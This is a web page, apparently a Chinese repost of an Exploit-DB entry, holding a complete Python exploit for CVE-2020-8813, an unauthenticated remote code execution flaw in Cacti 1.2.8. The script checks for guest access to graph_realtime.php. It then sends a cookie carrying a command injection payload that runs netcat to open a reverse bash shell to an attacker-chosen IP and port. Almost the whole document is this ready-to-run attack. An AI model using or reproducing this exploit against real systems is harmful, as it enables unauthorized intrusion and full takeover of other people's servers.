Cacti 1.2.8 – Unauthenticated Remote Code Execution - 体验盒子

作者： Askar

日期： 2020-02-03

类别：

webapps

平台：

multiple

来源：https://www.exploit-db.com/exploits/48145/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

#!/usr/bin/python3

# Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution

# Date: 03/02/2020

# Exploit Author: Askar (@mohammadaskar2)

# CVE: CVE-2020-8813

# Vendor Homepage: https://cacti.net/

# Version: v1.2.8

# Tested on: CentOS 7.3 / PHP 7.1.33

import requests

import sys

import warnings

from bs4 import BeautifulSoup

from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 4:

print("[~] Usage : ./Cacti-exploit.py url ip port")

exit()

url = sys.argv[1]

ip = sys.argv[2]

port = sys.argv[3]

def send_exploit(url):

payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)

cookies = {'Cacti': quote(payload)}

path = url+"/graph_realtime.php?action=init"

req = requests.get(path)

if req.status_code == 200 and "poller_realtime.php" in req.text:

print("[+] File Found and Guest is enabled!")

print("[+] Sending malicous request, check your nc ;)")

requests.get(path, cookies=cookies)

else:

print("[+] Error while requesting the file!")

send_exploit(url)